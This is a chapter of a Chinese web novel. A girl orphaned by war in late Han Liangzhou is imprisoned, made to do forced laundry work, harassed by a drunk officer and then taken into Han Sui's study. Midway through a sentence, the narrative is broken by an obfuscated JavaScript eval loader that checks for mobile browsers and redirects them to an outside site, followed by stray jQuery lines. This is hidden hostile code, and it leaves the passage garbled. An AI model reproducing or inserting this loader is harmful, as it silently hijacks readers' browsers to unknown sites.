我被扔进了一处临时牢狱。
这里原本似乎是某个大户人家的仓廪，如今却挤满了妇孺老幼。空气中弥漫着霉味、汗味和淡淡的血腥气，令人作呕。
“新来的？这边还有点地方。”一个面色憔悴的妇人挪了挪身子，给我让出一小块空地。
我怯生生地坐下，环顾四周。昏暗的光线下，一张张麻木的面孔如同鬼魅。角落里有个婴儿在哭，声音已经嘶哑，却无人理会。
“为什么抓我们？”我小声问那妇人。
妇人苦笑：“还需要理由吗？说是搜查叛党家眷，其实就是抓人来充数、换赏钱。”她打量着我，“你是哪家的？”
“我...我叫冯阿宝，与家人走散了，暂住在王允军侯的院子里。”我低声道。
妇人眼中闪过一丝讶异：“王军侯？听说他前日下狱了，罪名是私通官军。”
我的心沉了下去。王允是我最后的希望，如今连他也自身难保。
“那...我们会怎么样？”我颤声问。
妇人摇摇头，眼神空洞：“谁知道呢。或许充作奴仆，或许...”她没有说下去，但我明白那未尽的含义。
仓廪的门突然打开，一个兵士扔进一桶稀粥和几个粗面饼子：“吃饭！”
人们顿时如饿狼般扑上去，争抢食物。我被挤在外围，等挤到桶边时，只剩下一点残渣。一个好心的老妪分了我半块饼子，硬得像石头，难以下咽。
咽着干硬的饼子，我突然想起一件事——今天是我的生辰。
往年这个时候，阿母一定会起个大早，蒸一笼香喷喷的桂花糕。那是用精米磨粉，掺入蜂蜜和干桂花，再点缀几颗红枣蒸制而成。平日里是决计舍不得吃的，唯有生辰和年节才有这般口福。
阿兄的鼻子最灵，总是第一个闻到香气，窜进灶房嚷嚷：“阿母偏心！只给阿宝做糕！”
阿母便会笑骂：“等你生辰，阿母也给你蒸！”
然后阿父会放下手中的竹简，笑眯眯地看着我们兄妹打闹。阿兄总会偷偷掰一小块刚出锅的糕，烫得直吹气，却迫不及待地往嘴里塞。
“臭小子！妹妹的寿糕也抢！”阿母作势要打，阿兄便躲到阿父身后做鬼脸。
最后总是每人分得一块，坐在院中桃树下慢慢品尝。甜糯的糕体在口中化开，桂花的香气萦绕不散。那是我一年中最幸福的时刻。
“狗儿跳，那个猫儿闹，吾家小宝吃糖糕...”我不自觉地哼起那首童谣，眼泪无声滑落。
旁边的妇人看了我一眼，没说什么，只是默默递来一块粗布：“擦擦吧，孩子。这世道，哭也没用。”
我接过布，却擦不干源源不断的泪水。
夜幕降临，仓廪内越发寒冷。人们挤在一起取暖，呻吟声、啜泣声此起彼伏。
我蜷缩在角落，从衣襟里摸出那三块糖糕。经过这些时日的颠簸，它们已经干硬开裂，但我仍能闻到一丝淡淡的甜香。
“阿母，阿父，阿兄...今日是阿宝的生辰...”我对着糖糕喃喃自语，“你们在哪里？可还安好？”
没有人回答。只有窗外呼啸的风声，如泣如诉。
饥寒交迫中，我迷迷糊糊睡去。梦中，我又回到了那个温馨的灶房。
阿母正掀开蒸笼，白雾腾起，桂花糕的甜香扑鼻而来。阿兄迫不及待地伸手去拿，被阿母轻轻打了一下：“烫！等凉些再吃！”
阿父坐在桌旁，眼中满是笑意：“阿宝又长一岁了，是个大姑娘了。”
我正要回答，场景突然扭曲。灶房消失不见，取而代之的是漫天烽火。阿母的脸上鲜血淋漓，右眼成了一个血洞。阿父身中数箭，倒在血泊中。阿兄被铁链锁着，瘦得皮包骨头。
“阿宝，快逃！”他们齐声呼喊，“活下去！”
我惊叫着醒来，浑身冷汗。仓廪内依然昏暗，身边的人都在沉睡，偶尔有人发出痛苦的呻吟。
再也睡不着，我摸索着取出一直贴身收藏的桃木梳——那是去年生辰阿父送的礼物。梳齿已经断了几根，但我仍舍不得丢弃。
“阿父...”我轻声呼唤，仿佛这样就能穿越千山万水，传到亲人耳边。
凌晨时分，仓廪门再次打开。几个兵士举着火把进来，大声吆喝：“都起来！排好队！”
人们惊慌地起身，不知道又要发生什么。我被人流推挤着向外走，心中忐忑不安。
我们被带到一处广场，那里已经黑压压站满了人。一个军官模样的人站在高台上，大声宣读着什么。距离太远，听不真切，只隐约听到“充军”、“为奴”等字眼。
人群中响起压抑的哭泣声。我身旁的一个少女直接晕倒在地，被兵士粗暴地拖走。
轮到我们这一队时，一个书记模样的人挨个登记姓名、籍贯。
“冯阿宝，陇西冯家村人。”我小声道。
书记抬头看了我一眼：“年龄？”
“刚满十一。”我说，想起昨日是自己的生辰。
书记在竹简上记了几笔，对旁边的兵士道：“这个年纪小了些，先送浣衣处吧。”
于是我被人从队伍中拉出，推向另一群人。大多是妇人和年纪稍长的少女，个个面色惶然。
我们被押解着穿过街道，来到城西一处大院。这里似乎是某个被抄没的官员府邸，如今成了临时工坊。
一个管事模样的中年妇人迎上来，打量着我们这群新来的：“我是这里的管事，你们可以叫我赵媪。来了这里，就老老实实干活，少不了你们吃喝。若是偷奸耍滑...”她冷笑一声，“有你们好受的！”
我们被分派到不同的院落。我所在的浣衣处有二十余人，终日洗衣晾晒，供应军中所需。
活计很重。每日天不亮就要起床，在冰冷的河水中捶打衣物，双手很快红肿开裂。伙食却只有稀粥和粗饼，勉强果腹。
但比起牢狱，这里至少通风透气，还能看到天空。我甚至庆幸自己被分到这里，而不是其他更可怕的地方。
几日下来，我渐渐熟悉了流程。同院的妇人们大多沉默寡言，但有个叫惠娘的少女对我颇为照顾。
惠娘约莫十五六岁，据说是城中织匠的女儿，家人在战乱中失散。她教我如何省力地捶洗衣物，如何在监工不注意时偷偷歇息。
“省着点力气，”她低声道，“这日子还长着呢。”
有时夜深人静，惠娘会低声哼起歌谣。不是阿母那种温柔的调子，而是凉州民间常见的小曲，带着几分苍凉。
“鸡儿啄，那个羊儿跑，吾家阿宝采荇藻...”一日，我意外地听到她哼起类似的旋律。
我惊讶地看向她：“惠娘姐姐，你也会这个？”
惠娘笑了笑：“凉州人谁不会几句？我娘以前常唱。”她的眼神黯淡下来，“不知她现在何处...”
同病相怜，我们之间的距离一下子拉近了。有时趁着监工不注意，我们会偷偷交换各自的故事。
惠娘告诉我，她原本定在今年出嫁，未婚夫是个老实本分的陶匠。战乱爆发后，未婚夫被征入伍，生死未卜。
“但愿他还活着。”惠娘说着，眼中闪着泪光，“等太平了，我们还要成亲呢。”
我不知该如何安慰，只能握住她的手。在这朝不保夕的乱世，希望成了最奢侈的东西。
洗衣的日子单调而艰苦。我的双手很快磨出厚茧，原本细腻的皮肤变得粗糙。但最难受的是对家人的思念，如影随形，噬咬内心。
每夜躺在床上，我都会拿出那三块糖糕，对着它们说话，仿佛亲人能听到一般。
“阿母，今日我洗了三十件军衣，赵媪夸我勤快呢。” “阿父，我认得了几个新字，是惠娘姐姐教的。” “阿兄，你在哪里？可还安好？”
糖糕日渐干缩，如同我渺茫的希望。
一日，赵媪突然来到浣衣处，宣布有贵客将至，要挑几个伶俐的去前厅伺候。
女孩子们顿时紧张起来。谁都知道，所谓“伺候”可能意味着什么。
赵媪的目光扫过人群，最后落在我身上：“你，还有你，过来。”
我和惠娘被选中了。惠娘脸色苍白，紧紧握着我的手。
我们被带至前厅，那里已经摆开宴席。几个军官模样的人坐在上首，大声谈笑。赵媪命我们在一旁侍立，随时斟酒添菜。
我低着头，不敢直视那些醉醺醺的军官。他们的谈话断断续续传入耳中。
“...冀城指日可下！届时韩将军必重赏我等...” “...听说朝廷派了皇甫嵩前来征讨...” “...怕什么！凉州男儿岂是中原弱卒可比...”
冀城？我的心猛地一跳。梦中阿母似乎提过这个地方！
就在这时，一个军官突然拽住惠娘的手：“这小娘子模样周正，来，陪爷喝一杯！”
惠娘吓得连连后退：“军爷恕罪，奴婢不会饮酒...”
军官恼羞成怒，一把将她拉入怀中：“不给面子？”
赵媪连忙上前打圆场
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530064|186363||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
：“军爷息怒，这丫头不懂事。阿宝，快去斟酒！”
我战战兢兢地上前，为那军官斟酒。他的手却突然松开惠娘，转向我：“这个更嫩些！来，小妹妹，告诉爷多大了？”
粗糙的手掌摸上我的脸颊，我吓得浑身僵硬。
“十一...”我颤声回答。
军官哈哈大笑：“正好！正好！”说着就要拉我入座。
就在这千钧一发之际，门外突然传来通报声：“韩将军到！”
所有军官立刻起身整理衣冠，方才的轻浮荡然无存。一个四十上下、面容冷峻的将军大步走进来，目光如电扫过全场。
“都在这里做什么？”他声音不高，却带着不容置疑的威严。
方才调戏我的军官连忙赔笑：“将军来得正好，兄弟们正为您庆功呢！”
韩遂的目光落在我和惠娘身上，眉头微皱：“哪里来的丫头？”
赵媪赶紧回答：“是浣衣处的奴婢，叫来伺候酒水。”
韩遂摆摆手：“让她们下去。成何体统！”
如蒙大赦，我和惠娘急忙退下。回到后院，两人都是浑身冷汗，后怕不已。
“幸好韩将军来了...”惠娘颤声道，“否则...”
我点点头，心中却另有所思。韩遂...这个名字好生耳熟。忽然想起，那日难民营中李媪提起过，他是叛军首领之一。
一个大胆的念头在我心中萌生。
几日后，我趁着送洗净衣物去前院的机会，偷偷留意韩遂的动向。发现他每日未时会独自在书房处理军务，门外只有两个守卫。
机会来了。
我找来一片较为平整的木牍，用烧黑的树枝在上面工工整整地写下：
“民女冯阿宝，年十一，陇西冯家村人。父母兄长于城破日失散。母赵氏，右目有伤；父冯安，任郡中书佐；兄冯栋，年十五。恳请将军施恩，帮忙寻找。愿做牛马报答。”
写完后，我将木牍藏在怀中，等待时机。
未时一到，我端着一盆清水，假意要擦拭走廊，慢慢靠近书房。
守卫拦住我：“做什么？”
我低头道：“赵媪命我来擦拭廊柱。”
守卫打量我一番，挥挥手：“快些干完离开。”
我假装擦拭廊柱，慢慢挪到书房窗外。透过窗缝，可见韩遂正在批阅文书。
心怦怦直跳，我深吸一口气，猛地推开房门跪倒在地：“将军开恩！”
韩遂显然吃了一惊，待看清是我，眉头皱起：“是你？何事？”
我双手举起木牍：“求将军帮民女寻找家人！愿做牛马报答！”
守卫冲进来要拖我走，韩遂却抬手制止。他接过木牍看了看，目光重新落在我身上：“你识字？”
我点头：“家父教的。”
韩遂沉吟片刻：“如今战事紧张，无人暇帮你寻亲。”
我的心沉了下去。
“不过...”他话锋一转，“我书房正缺个整理文书的小婢。你若愿意，可调来此处。他日若有你家人消息，也好及时告知。”
峰回路转，我急忙磕头：“愿意！民女愿意！”
于是我从浣衣处调到了书房，负责整理文书、研磨沏茶等轻省活计。虽然仍是奴婢，但环境好了许多，还能偶尔读到一些军报文书。
我格外勤快，将书房整理得井井有条。韩遂似乎颇为满意，偶尔会问我几句家中情况。
但我始终没有等到家人的消息。战事越发吃紧，军中气氛日益凝重。有时深夜，我能听到韩遂在房中踱步，长吁短叹。
一日，我整理文书时，偶然看到一份阵亡名单。心中一惊，急忙翻阅，生怕看到熟悉的名字。
幸好没有。但我却看到了另一个消息：王允越狱逃走了，如今下落不明。
我暗暗为他高兴。至少，他不必冤死狱中。
时间流逝，转眼秋深。凉州的秋天来得早，寒风吹彻骨缝。
我的生辰早已过去，那三块糖糕更加干硬，但我仍舍不得吃。这是与家人最后的联系，是茫茫黑暗中的一点微光。
每夜，我仍会对着糖糕说话，告诉亲人我一天的所见所闻。仿佛这样，他们就还在我身边，从未远离。
秋风起，那个草黄了，门口霜雪要来到。而我的归途，依然渺茫。
唯有那首童谣，穿越血与火，在心中久久回响：
“月亮照不到啊我的小阿宝... 忘也忘不了啊，我滴小阿宝...”